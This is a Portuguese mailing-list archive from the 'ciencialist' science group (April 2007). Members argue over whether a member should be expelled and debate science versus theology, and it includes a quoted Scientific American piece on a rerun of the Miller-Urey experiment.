> A última mensagem do Takata para o Ferrari foi um primor de ironia bem
> aplicada, e deve resolver o problema..:-) Reproduzo abaixo, por ser
> uma aula de mestre:
>
>
> Ferrari: Takata, assim não vale nada, porque vc está apenas repetindo
> algo que eu disse, sem consciencia do que vc está dizendo.
>
> Takata: O que é "valer"? O que é "consciência"?
>
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: Em defesa do paradoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 00:30

Ferrari, meu amigo,

Não force muito nossa amizade, estou quase mudando de opinião e
sugerindo que você seja posto a ferros e chicoteado até a morte como
punição pelas heresias que comete contra a Santa Madre Ciência, a quem
presto louvores como humilde servo e de quem tenho recebido graças
imensas e em vida.

No mais, aquele abraço,
JC


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Zé!
>
> Zé >>> Considero o Ferrari um bom amigo, um poeta
> razoável e um maluco de carteirinha carimbada.
>
> --- Zé, quer saber o que acho de vc? Hehehehe...
> Também te considero um bom amigo e um maluco de
> carteirinha, quanto a poesia, bem... amigos, ok?
> hehehehehe....
>
> --- Sobre a defesa do paradoxo, ato nobre, como todo
> ato de um professor de verdade e pela verdade.
>
>
> abçomano
> ferrari
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> Para receber meus textos inéditos, envie um email para:
> mferrari-subscribe@yahoogrupos.com.br
>
> Meu portal:
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>
>
>
>
>
>
>
>
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>
>
>
>
>
>
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>
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> Fale com seus amigos de graça com o novo Yahoo! Messenger
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SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 00:43

José Renato,

Também não force nossa amizade, você é outro que eu chicotearia até a
morte pelos pecados cometidos contra a Santa Madre Ciência, haja visto
que seu avião não decola por causa de uma esteira irrelevante. :)

No mais, já encerrei esse assunto e disse tudo o que queria e não
devia te dito. Polui a lista com floods e "head herings" (o que é
isso, camiseta de cabeça?) etc. e tal.

Aquele abraço,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Prof. José Carlos!
> Vc e a maioria de nós sabemos que não basta informar o conhecimento às
> pessoas. É necessário, sim, formar as pessoas em valores
éticos-morais no
> uso desses conhecimentos, de modo que o mundo seja menos caótico. Esses
> valores permeiam os comentários de cada um de nós, sejam eles
produzidos por
> religiosos ou não. Não há conflito entre Ciências, Filosofia,
Teologia como
> muitos pensam. São linguagens e métodos diferentes com enfoques
diferentes
> que se somam a um entendimento melhor do ser humano, de sua
existência, sua
> razão de ser e sobreviver. O debate livre é a melhor forma de
entendimento
> para sanar presunções exacerbadas que têm cientistas, filósofos e
> pensadores, sejam eles religiosos ou não.
>
> Abraços
>
> José Renato
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, April 04, 2007 2:28 AM
> Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesa
> doparadoxo
>
>
> Grande Homero,
>
> Vou dispensar os elogios iniciais e ir direto ao ponto: a lista tem um
> preconceito assumido contra o Ferrari desde há muito. Se com razão ou
> sem razão, pouco importa, Inês é morta e preconceito e intolerância
> são ruins em qualquer contexto. Ok, é só uma opinião e, afinal, o que
> é uma opinião? :)
>
> Mas vamos aos fatos:
>
> O Ferrari não é, nem nunca foi, o único a defender posições
> indefensáveis usando tão somente subterfúgios, ora linguísticos, ora
> psicodramáticos. Na verdade, não me lembro dele defendendo nem
> pregando religiões na lista em nenhum outro momento (embora eu não
> tenha acompanhado todas as mais de 62.000 mensagens dela na íntegra).
> O José Renato é um católico fanático (Desculpa aí pelo fanático, José
> Renato), por exemplo, e já li milhares de mensagens dele defendendo o
> não uso da camisinha, o Design Inteligente, etc., etc., sem falar de
> todos os subterfúgios linguísticos e psicodramáticos. A diferença
> entre um e outro, do ponto de vista da argumentação que pede a
> expulsão do Ferrari, é nula ou tende a ser pior para o José Renato,
> por exemplo. Diga-se de passagem que não quero nem estou sugerindo que
> o José Renato seja expulso da lista.
>
> O Léo usa a lista como "assistente de resposta" para seus consulentes
> ou só para ridicularizar alguns deles. E todos rimos e nos fartamos
> até que o fel de nosso preconceito escorra farto pelos cantos de
> nossas bocas. A lista também não tem essa proposta, mas nesses
> momentos somos condescendentes com o princípio de que ridicularizar o
> outro é um princípio básico da boa piada.
>
> O Alberto, desde que o conheço, está aqui defendendo sua teoria
> (indemonstrável) sobre a bobagem quântica e, na sua visão, a
> necessidade de uma nova teoria baseada no "espírito da matéria" de
> Newton. Há os pró e os contra a teoria quântica e eu nunca vi um
> debate desses terminar em alguma conclusão, ou seja, ambos estão
> certos, ou ambos errados, ou qualuqer coisa entre isso e o princípio
> da incerteza, mas o que todos querem é só alfinetar posições opostas.
>
> Você e eu fazemos, por vezes, alguma apologia ao ceticismo e ao
> materialismo. Eu ainda tenho o agravante de lidar com questões
> "educacionais" que não tem absolutamente nenhuma relação com o
> propósito da lista. Vivo solicitando opiniões sobre um tal curso de
> Física Básica online para alunos medíocres do Ensino Médio público.
>
> De memória, lembro do Brudna, que não por coincidência é o dono da
> lista e pouco se manifesta nela, que se mantém mais focado nos
> "objetivos" da lista. E só se mantém focado enquanto e prquanto não
> debate nada ou muito pouco. ;)
>
> Nem mesmo Takata San consegue se manter focado na ciência e se vive se
> metendo em discussões por vezes quase metafísicas sobre seus pontos de
> vista.
>
> Silvio Renato faz apologia anti-lula e dezenas de outros poderiam ser
> citados da mesma forma. Veja que estou dando ênfase o "Staff", digamos
> assim, que é para deixar bem claro que os deuses também pecam e, por
> serem deuses, seus pecados são muito mais onipresentes e poucocientes.
>
> Eu não só nada tenho conta todos os citados acima, que considero meus
> amigos e os aprecio muito, como acho que suas atuações em nada
> denigrem a lista ou a eles próprios, muito pelo contrário, ainda que
> estejam também fora do foco da lista. E veja que estou explicitamente
> nos incluindo nisso, e incluo também essas mensagens sobre isso que
> estmaos trocando agora.
>
> Mas quando você diz "Ninguém assina uma lista como esta sem ter em
> mente esse desejo pessoal, conversar, de forma lógica, racional e
> coerente, sobre ciência." você dá um tiro no próprio pé, pois Ferrari
> assinou a lista e está aqui há muito tempo. Se ele vive viajando ou
> não na maionese é outro problema, mas que nada tem a ver com o desejo
> dele (que, como desejo e, por definição, pessoal e subjetivo, nunca
> será verdadeiramente de nosso conhecimento - e veja que nem vou entrar
> no mérito metafísico da teoria do conhecimento).
>
> Eu penso que episódios como esse servem para nos mostrar bem mais
> claramente como somos intolerantes e preconceituosos. Incapazes de
> lidar com pessoas que não pensam como nós e que nem virão a pensar
> assim nunca, simlesmente optamos por "exclui-los". Não vejo nenhum
> argumento que possa negar esse fato, pois é fato que alguém pediu a
> exclusão do Ferrari justamente por não pensar "cientificamente" e nem
> demonstrar "possibilidade de ser convertido a tal".
>
> Evidentemente que "um Ferrari incomoda muita gente", e incomoda mesmo,
> mas creio que esse incômodo deva ser absorvido naturalmente pela lista
> e não tratado como "pecado", sob pena de termos que rasgar nossos
> diplomas e fundarmos uma igrejinha: a igrejinha da C-List, onde você
> comunga com o pensamento cético-materialista e aprende os jargãos
> cientificos da moda ou... Fogueira!
>
> Eu sou educador, ganho a vida para ensinar tolerância muito mais do
> que para ensinar Física. Mantenho minha opinião anterior.
>
> Abraços,
> JC
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@> escreveu
> >
> > Olá Jose Carlos
> >
> > Em geral eu costumo concordar com você, praticamente em tudo. Mas
> > nesse caso acho que farei algumas observações a sua posição..:-)
> >
> > Toda lista, sob pena de perder seu significado e função, tem limites.
> > Nem sempre são do mesmo tipo, ou se referem as mesmas questões, mas é
> > evidente que limites existem em qualquer caso. Por exemplo, quase toda
> > lista impede "flood", inundações de mensagens, e spams, mensagens de
> > propaganda.
> >
> > Mas o que define um "flood" ou spam? Uma seqüencia de mensagens sem
> > sentido pode ser considerada "flood", mesmo que seu autor "pense" que
> > as mesmas tem sentido? E um spam de uma religião? Difere em alguma
> > medida de um spam de produto no mercado?
> >
> > No caso específico da Ciencia-list, penso que não é a pretensão de ser
> > uma "lista de referencia", mas o desejo de ser um espaço para debater
> > um assunto específico, com uma abordagem específica - ciência e
> > cientificamente. Ninguém assina uma lista como esta sem ter em mente
> > esse desejo pessoal, conversar, de forma lógica, racional e coerente,
> > sobre ciência.
> >
> > Imagine, para efeito de compreensão do problema, que você assine uma
> > lista sobre "Automóveis Antigos". E que durante as duas ou três
> > semanas em que recebe as primeiras mensagens, estas são apenas
> > discussões e bate bocas sobre a forma mais correta de cozinhar um
> > leitão. Quanto tempo levaria para você abandonar a lista?
> >
> > Eu, como você, gosto muito desta lista, tenho aprendido um bocado, e
> > mesmo nas discussões em que lados opostos se confrontam, eu apreciei e
> > aprendi, pois a discussão sempre se manteve lógica, coerente e
racional.
> >
> > O que não tem acontecido neste caso com o Ferrari (e as vezes com
> > outros, por contaminação). Sim, diversos co-listeiros responderam as
> > mensagens do Ferrari, tentando, como bem lembrou o Ricardo, trazer a
> > conversa para o lado científico, de argumentos embasados, evidências,
> > coerência argumentativa, lógica, razão, etc. Sem sucesso.
> >
> > Neste momento, eu receberia uma mensagem com coisas como "o que é
> > sucesso?", ou "o que é argumento?", ou ainda "lógica é deus, e deus é
> > lógica, mas não a lógica humana, limitada, mas uma lógica divina,
> > energética, transcedental, capaz de abranger a lógica do universo,
> e...".
> >
> > Assim, fica difícil, impossível mesmo, continuar um debate minimamente
> > racional.
> >
> > Na verdade, as mensagens do Ferrari acabam sendo "flood" apenas, uma
> > inundação de coisas sem sentido, como as frases que são geradas por
> > mecanismos automáticos de frases aleatórias. Aliás, não sei se não é
> > desses mecanismos que o Ferrari tira seus textos..:-)
> >
> > Confesso que até acho divertido discutir, de vez em quando, motos
> > perpétuos, e até mesmo posições e alegações religiosas. O pessoal da
> > lista sabe como me empolgo, e como costumo até ser prolixo demais, dar
> > corda demais, a estes assuntos.
> >
> > Mas só é produtivo um debate nessas áreas, se for possível manter a
> > razão no discurso. Sem isso, é aflitivo e completamente inútil. Mas,
> > "o que é inútil?", e "o que é razão", afinal, não?..:-)
> >
> > Um grande abraço.
> >
> > Homero
> >
>




SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 00:52

Homero,

Aproveitando a deixa e o fato de que estou lendo as todas mensagens
dessa semana, vou sugerir uma técnica diferente de argumentação que
tenho usado e tem dado certo contra esses pecadores:

De fato, não há nenhum conflito entre Ciência, Filosofia e Teologia,
pois cada uma trata de uma coisa que não tem nenhuma relação causal
com a outra. A Ciência se preocupa com o mundo físico onde existimos e
tem as melhores respostas para explicar seus fenômenos; a Filosofia
trata de um outro mundo, o mundo das idéias sobre conceitos
subjetivos como ética, moral, arte, beleza e outras coisas
incomensuráveis e; por fim, a Teologia é uma disciplina que trata de
devaneios malucos sobre coisas estranhas de um universo fictício que
só servem para justificar o dízimo pago pelos crentes.

Experimente usar isso, você vai ver como funciona. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Renato
>
> Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
> muitos pensam."
>
> Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
> e teologia, como mutuamente excludentes e contraditórias. A teologia,
> a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
> percepção humanas, desejos subjetivos e credulidade, enquanto a
> ciência só existe porque deixou de lado todas essas coisas.
>
> Em especial, o pensamento mágico, a crença irracional em seres
> imaginários, e a fé na interferência desses seres no universo físico.
>
> Deuses são incompatíveis com leis da física.
>
> Cientistas não rezam para que os elétrons mudem de órbita, nem para
> que a lei da gravidade não falhe durante um experimento. Aprendemos
> que ela não o fará, pois não há nenhuma intenção ou interferência em
> sua ação.
>
> Mesmo valores ético-morais independem de religião ou teologia, e
> podem, devem, ser construídos a partir da razão e da vontade humana.
> Deixar as religiões para tras é uma vantagem que não se pode
> subestimar, em se tratando de civilização e ética humana.
>
> No máximo, deixemos a filosofia lidar com os problemas subjetivos,
> impedindo a teologia (qualquer das milhares existentes, e mutuamente
> conflitantes) de distorcer e confundir essas questões.
>
> Homero
>




SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 00:52

Olá JC

JC: "Vou fazer apenas uma ou duas (mentira, serão cinco) observações e
encerrar unilateralmente essa conversa, por isso não tome a minha
futura não-resposta como outra coisa senão o fato de que já decidi não
continuar essa conversa."

Vou respeitar seu desejo de finalizar nossa conversa sobre este
assunto, mas preciso dizer que é com grande esforço e tristeza, porque
poucas discussões me dão tanto prazer como essas nossas "discordâncias
concordantes"..:-)

Jc: "Então, já que essa é minha última palavra sobre esse tema, sugiro
> apenas que admita-mos, ainda que escondidinho dos demais, que essa é
> uma lista profundamente divertida onde, entremeio algumas poucas
> mensagens de caráter científico, passamos excelentes momentos
> discutindo a influência das marés no ciclo menstrual das borboletas
> pteridófitas da ilha perdida de Scatabrum e, ao fim e ao cabo, fazemos
> amigos, aprendemos sobre ciência e sobre humanidade e um dia, quem
> sabe, nos faremos sentir mais por nossa ausência do que pela miséria
> da nossa presença."

Repeti este seu parágrafo na integra, porque achei excelente e
concordo totalmente com ele..:-)

Um grande abraço.

Homero




SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 01:00

Olá JC

JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
causal com a outra."

Eu, na verdade, concordo com você, e escrevi a mensagem anterior mais
como resposta irritada ao Renato (desculpe Renato..:-), do que como um
argumento bem construído.

Eu certamente compreendo que são áreas distintas e que deveriam lidar
com objetivos e objetos distintos. E se fosse assim não haveria
necessidade de conflito ou da atual guerra entre estas áreas.

Mas o problema me parece sempre ser causado pela ilegítima invasão da
teologia na área da ciência, do que o contrário. Nunca vi um estudo
destinado a invalidar ou analisar uma afirmação teológica, a não ser
quando está faz referências a aspectos físicos e materiais.

Nenhum cientista propõe uma investigação sobre a possibilidade de um
ser humano ir para o céu sem morrer, como Maria, ou um estudo sobre a
existência de anjos de anunciação.

Mas teologias parecem passar o tempo todo a desafiar a ciência, com
"lacunas" de conhecimento que desejam chamar de deus (uma lacuna para
chamar de sua, deveria ser o mote de todas as religiões..;-).

Veja o caso da camisinha, que a ciência, em estudos dentro de controle
e rigor, determinou que é impermeável a vírus como os da AIDS e a
forma mais segura de fazer sexo, em relação a DSTs. É uma área que
pertence a ciência, não? Entretanto..:-)

JC: "por fim, a Teologia é uma disciplina que trata de devaneios
malucos sobre coisas estranhas de um universo fictício que só servem
para justificar o dízimo pago pelos crentes."

Assino em baixo..:-) Mas tente convencer um religioso disso, tente
convence-lo a manter sua teologia nesses termos..:-)

Um abraço.

Homero




SUBJECT: Re: Termodinâmica e a seta do tempo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 01:06

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
Amauri:
> > Estima-se que mais da metade das conversações adultas se refiram a
> > eventos passados ou futuros, e essa habilidade de "viajar no
> > tempo", acreditam muitos neurocientistas, é exclusiva do ser
> > humano.

Eu:
> Dado q muitos organismos têm memória - armazenamento de dados
> passados - e muitos organismos são capazes de planejar ações -
> programação para o futuro - essa afirmação da exclusividade humana
> parece ser muito suspeita.

Time in the Animal Mind
"Scrub jays, left, seem able to plan for the future in experiments,
hiding today's pine nuts for tomorrow's breakfast. Squirrel monkeys
also seem to think about future consequences, while hummingbirds seem
to recall time and location of visits to flowers, and rats to remember
where they encountered food in a maze."
http://www.nytimes.com/2007/04/03/science/03time.html?ref=science

[]s,

Roberto Takata



SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 05:43

Olá Homero,

Relaxa homem, tá nervoso? Vai pescar. :)

Veja só, você diz: "Mas o problema me parece sempre ser causado pela
ilegítima invasão da teologia na área da ciência, do que o contrário."

Não é bem assim. A Teologia nunca invadiu a ciência e nem poderá
fazê-lo, o que temos é uma "invasão de pseudo-teólogos" tentando
desesperadamente emprestar algum prestígio da Santa Madre Ciência para
as bulas de suas igrejinhas. Como você bem o disse, não com essas
palavras, mas talvez com mesmo sentido, a ciência nunca precisou que o
papa benzesse as equações de Newton.

Eu já comentei esse assunto N vezes, por isso já estou enjoado dele e
não tenho mais a "paciência" que você tem. Antes de tentar convencer
um cidadão de que o princípio da incerteza não garante a onisciência
divina eu costumo perguntar se ele conhece bem as três leis de Newton.
Não adianta muito tentar convencer um sujeito de que o Homem não
evoluiu do chimpanzé se ele mal ouviu falar do que seja DNA, por exemplo.

Por outro lado, é ainda mais difícil convencer um crente a ajoelhar e
rezar sobre uma veia cortada e sangrando. A fé dele sempre sucumbe,
nesse caso, diante de um bom cirurgião. Mas uma vez suturado, medicado
e pronto para outra, ele agradecerá mil vezes aos deuses por ter lhe
providenciado o cirurgião. :)

A propósito, se cair um avião com 300 passageiros e só um sobreviver,
advinha o que ele dirá se for um crente? :)))

É assim que são as coisas. Simples assim.

Não dá para convencer um crente de que ele é um tolo que acredita em
mitos pré-científicos e em criaturas mágicas. Ninguém gostaria de ser
convencido disso, concorda? Por outro lado, os crentes se sentem meio
perdidos em um mundo tecno-científico onde a crença deles não tem
nenhuma utilidade tecnológica (ou tem?) ou para a vida cotidiana. Deve
mesmo ser esquisito você ser o iluminado que é amigo dos deuses e, no
entanto, isso não lhe servir para nada no seu cotidiano.

Procure entender, caro Homero, que é natural para eles essa busca de
algum significado para esse "conhecimento religioso" absolutamente
dispensável na prática. Imagine que VOCÊ fosse surpreendido em um
mundo onde as leis de Newton dependessem das orações feitas antes de
dormir na noite anterior, onde seu carro precisasse ser benzido toda
vez que o tanque esvaziasse ou onde as penicilina só pudesse ser
produzida sob a reza de freiras... Você não acharia estranho e
perturbador? Então, coloque-se no lugar deles. :)

Agora chega desse assunto vencido. Fui.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá JC
>
> JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
> Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
> causal com a outra."
>
> Eu, na verdade, concordo com você, e escrevi a mensagem anterior mais
> como resposta irritada ao Renato (desculpe Renato..:-), do que como um
> argumento bem construído.
>
> Eu certamente compreendo que são áreas distintas e que deveriam lidar
> com objetivos e objetos distintos. E se fosse assim não haveria
> necessidade de conflito ou da atual guerra entre estas áreas.
>
> Mas o problema me parece sempre ser causado pela ilegítima invasão da
> teologia na área da ciência, do que o contrário. Nunca vi um estudo
> destinado a invalidar ou analisar uma afirmação teológica, a não ser
> quando está faz referências a aspectos físicos e materiais.
>
> Nenhum cientista propõe uma investigação sobre a possibilidade de um
> ser humano ir para o céu sem morrer, como Maria, ou um estudo sobre a
> existência de anjos de anunciação.
>
> Mas teologias parecem passar o tempo todo a desafiar a ciência, com
> "lacunas" de conhecimento que desejam chamar de deus (uma lacuna para
> chamar de sua, deveria ser o mote de todas as religiões..;-).
>
> Veja o caso da camisinha, que a ciência, em estudos dentro de controle
> e rigor, determinou que é impermeável a vírus como os da AIDS e a
> forma mais segura de fazer sexo, em relação a DSTs. É uma área que
> pertence a ciência, não? Entretanto..:-)
>
> JC: "por fim, a Teologia é uma disciplina que trata de devaneios
> malucos sobre coisas estranhas de um universo fictício que só servem
> para justificar o dízimo pago pelos crentes."
>
> Assino em baixo..:-) Mas tente convencer um religioso disso, tente
> convence-lo a manter sua teologia nesses termos..:-)
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: [ciencialist] Primordial Soup's On: Scientists Repeat Evolution's Most Famous Experiment
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 07:12

Nao sei pq a materia fala em alguns momentos de evolucao.
Pelo que lembro o evolucionismo nao trata da origem da vida.

Ateh
Luis Brudna


On 4/5/07, oraculo333 <oraculo@atibaia.com.br> wrote:
>
>
> Primordial Soup's On: Scientists Repeat Evolution's Most Famous Experiment
> Their results could change the way we imagine life arose on early Earth
> By Douglas Fox
>
> A Frankensteinesque contraption of glass bulbs and crackling
> electrodes has produced yet another revelation about the origin of life.
>
> The results suggest that Earth's early atmosphere could have produced
> chemicals necessary for life—contradicting the view that life's
> building blocks had to come from comets and meteors. "Maybe we're
> over-optimistic, but I think this is a paradigm shift," says chemist
> Jeffrey Bada, whose team performed the experiment at the Scripps
> Institution of Oceanography in La Jolla, Calif.
>
> Bada was revisiting the famous experiment first done by his mentor,
> chemist Stanley Miller, at the University of Chicago in 1953. Miller,
> along with his colleague Harold Urey, used a sparking device to mimic
> a lightning storm on early Earth. Their experiment produced a brown
> broth rich in amino acids, the building blocks of proteins. The
> disclosure made the pages of national magazines and showed that
> theories about the origin of life could actually be tested in the
> laboratory.
>
> But the Miller-Urey results were later questioned: It turns out that
> the gases he used (a reactive mixture of methane and ammonia) did not
> exist in large amounts on early Earth. Scientists now believe the
> primeval atmosphere contained an inert mix of carbon dioxide and
> nitrogen—a change that made a world of difference.
>
> When Miller repeated the experiment using the correct combo in 1983,
> the brown broth failed to materialize. Instead, the mix created a
> colorless brew, containing few amino acids. It seemed to refute a
> long-cherished icon of evolution—and creationists quickly seized on it
> as supposed evidence of evolution's wobbly foundations.
>
> But Bada's repeat of the experiment—armed with a new insight—seems
> likely to turn the tables once again.
>
> Bada discovered that the reactions were producing chemicals called
> nitrites, which destroy amino acids as quickly as they form. They were
> also turning the water acidic—which prevents amino acids from forming.
> Yet primitive Earth would have contained iron and carbonate minerals
> that neutralized nitrites and acids. So Bada added chemicals to the
> experiment to duplicate these functions. When he reran it, he still
> got the same watery liquid as Miller did in 1983, but this time it was
> chock-full of amino acids. Bada presented his results this week at the
> American Chemical Society annual meeting in Chicago.
>
> "It's important work," says Christopher McKay, a planetary scientist
> at NASA Ames Research Center in Moffett Field, Calif. "This is a move
> toward more realism in terms of what the conditions were on early Earth."
>
> Most researchers believe that the origin of life depended heavily on
> chemicals delivered to Earth by comets and meteorites. But if the new
> work holds up, it could tilt that equation, says Christopher Chyba, an
> astrobiologist at Princeton University. "That would be a terrific
> result for understanding the origin of life," he says, "and for
> understanding the prospects for life elsewhere."
>
> But James Ferris, a prebiotic chemist at Rensselaer Polytechnic
> Institute in Troy, N.Y., doubts that atmospheric electricity could
> have been the only source of organic molecules. "You get a fair amount
> of amino acids," he says. "What you don't get are things like building
> blocks of nucleic acids." Meteors, comets or primordial ponds of
> hydrogen cyanide would still need to provide those molecules.
>
> Bada's experiment could also have implications for life on Mars,
> because the Red Planet may have been swaddled in nitrogen and carbon
> dioxide early in its life. Bada intends to test this extrapolation by
> doing experiments with lower-pressure mixes of those gases.
>
> Chyba is cautious: "We don't know," he says, "whether Mars really ever
> had that atmosphere." That's because Mars today has carbon dioxide,
> but hardly any nitrogen—which is also needed for making amino acids.
> Some scientists suspect that nitrogen gas existed on Mars, but was
> blasted away by asteroid impacts billions of years ago.
>
> http://www.sciam.com/article.cfm?chanID=sa004&articleID=9952573C-E7F2-99DF-32F2928046329479
>


SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 07:14

Oi

JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
causal com a outra."

MB: O problema é que, assim como não há uma linha "precisa"
demarcando a vida da morte ou o que é vivo do que não é, do mesmo
modo a fronteira que separa a ciência da filosofia não é uma linha,
mas uma "zona", um claro-escuro, uma região nem preta nem branca, mas
cinzenta - uma terra de ninguém ou de todos.

HM: Mas o problema me parece sempre ser causado pela ilegítima
invasão da teologia na área da ciência, do que o contrário. Nunca vi
um estudo destinado a invalidar ou analisar uma afirmação teológica,
a não ser quando está faz referências a aspectos físicos e materiais.

MB: Tais estudos existem, de montão. Estou vendo, agora, nas
prateleiras das minhas estantes, dois deles: "O Capelão do Diabo", de
R. Dawkins (livro excelente de um escritor maravilhoso) e "A Perigosa
Idéia de Darwin", de D. Dennett (um dos meus filósofos preferidos).
Não são poucos os cientistas e diletantes da ciência que tentam
assassinar os deuses com a Navalha de Ockham, cortando-lhes a
jugular. Até que conseguem sangrar mortalmente alguns, como o urubu-
totem entre outras divindades zoomórficas, quiméricas e
antropomórficas. Não conseguem, porém, sequer arranhar o deus pensado
por Anselmo, por Leibniz ou por Gödel.

Muitos grandes cientistas e céticos cientificistas caem no ridículo
ao comparar Deus com Papai Noel, Saci-Pererê, Caipora e que tais;
como se a questão "eterna" e "perturbadora" da existência ou não de
um propósito moral regendo o mundo - ou de uma "causa finalis" -
fosse apenas uma curiosidade intelectual não mais intrigante que o
problema que trata de xícaras de porcelana orbitando o Sol. Se fosse
tão desimportante assim, não perderiam tanto tempo escrevendo
calhamaços de 300, 400, 500 páginas.

HM: Mas teologias parecem passar o tempo todo a desafiar a ciência,
com "lacunas" de conhecimento que desejam chamar de deus (uma lacuna
para chamar de sua, deveria ser o mote de todas as religiões..;-).

MB: E que lacunas! - "A investigação científica das causas eficientes
dos fenômenos naturais não pode avançar indefinidamente, tanto por
razões práticas e também porque a própria ciência descobriu
fronteiras absolutas do conhecimento. Com efeito, o que acontece nos
marcos do espaço e do tempo de Planck jaz completamente submerso na
incerteza quântica; a evolução dos sistemas dinâmicos complexos é, em
médio prazo, imprevisível; e, neste universo em expansão acelerada,
não se pode obter qualquer informação das regiões que se afastam de
nós com rapidez maior que a velocidade da luz. Ora, não há razão para
supor que os limites da ciência e do universo observável coincidem
com os limites da realidade. Ademais, haja vista que o cérebro é
produto dos mecanismos cegos da evolução (variação aleatória e
seleção natural), consistindo, pois, numa engenhoca complexa, porém
imperfeita, cheia de gambiarras, não é desarrazoado aventar que a
razão objetiva apresenta aspectos que escapam ao poder de captação da
razão subjetiva, humana. Sendo assim, além dos marcos da capacidade
de predição do método científico pode ser que exista qualquer coisa
inesperada, inclusive uma Causa Finalis manipulando, através das
banais causas eficientes, toda a realidade. Ou até, quiçá, duas ou
mais vontades divinas em conflito, de sorte que a 'aparente'
initencionalidade dos processos naturais observáveis nada mais seja
que a resultante ou vetor-soma dessas misteriosas forças intencionais
antagônicas: Mazda e Ahriman."

JC: "por fim, a Teologia é uma disciplina que trata de devaneios
malucos sobre coisas estranhas de um universo fictício que só servem
para justificar o dízimo pago pelos crentes."

HM: Assino em baixo..:-) Mas tente convencer um religioso disso,
tente convence-lo a manter sua teologia nesses termos..:-)

MB: Sou mais ateu que todos vocês (o ateísmo é a minha "fé"), mas não
subscrevo a pérola retórica do José Carlos. Pois vejo todos os dias
matemáticos inteligentíssimos criando postulados arbitrários e,
baseado neles, construirem universos contrafactuais com 30, 42, 367
dimensões espaciais e meia dúzia ou mais de dimensões temporais
(universos "racionais", matematicamente possíveis; chegam até a medir
o seu grau de probabilidade).

Também vejo físicos teóricos a calcularem com a precisão de 100 casas
decimais a massa, o spin e outras propriedades de partículas que se
sabe inexistentes, mas que "poderiam existir", como é o caso dos
táquions.

Ora, então por que não haveria de ter um ramo da filosofia - a
teologia - ocupada com o "melhor dos mundos possíveis", mundo este em
que o absurdo e o não-sentido, por mais que se manifeste, seja apenas
aparente? O grande matemático Kurt Gödel se deleitou com esse
assunto. Criou até um complexo silogismo - na linguagem lógico-
matemática - em que conclui a existência real do "melhor dos mundos
possíveis" em que não existe culpa sem castigo, dor sem compensação
(um mundo regido por um propósito moral).

Abraços,
Manuel Bulcão



SUBJECT: Re: Termodinâmica e a seta do tempo
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 08:25

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@>
> Amauri:
> > > Estima-se que mais da metade das conversações adultas se
refiram a
> > > eventos passados ou futuros, e essa habilidade de "viajar no
> > > tempo", acreditam muitos neurocientistas, é exclusiva do ser
> > > humano.
>
> Eu:
> > Dado q muitos organismos têm memória - armazenamento de dados
> > passados - e muitos organismos são capazes de planejar ações -
> > programação para o futuro - essa afirmação da exclusividade
humana parece ser muito suspeita.

Manuel: O que nos diferencia dos outros animais, penso eu (posso
estar errado, provavelmente estou), é que somos capazes de pensar
o "infinito" futuro e o "infinito" passado. Ora, diante do infinito,
todas as grandezas finitas se anulam, se equivalem. Ante o pano de
fundo do infinito, percebemo-nos como absolutamente irrelevantes,
gratuitos e até como uma ilusão matemática (um infinitésimo de um
infinitésimo).

Por isso, devido a essa agorafobia que nos suscita a percepção do
infinito, estamos sempre, conscientemente ou não, a cata de um "fim",
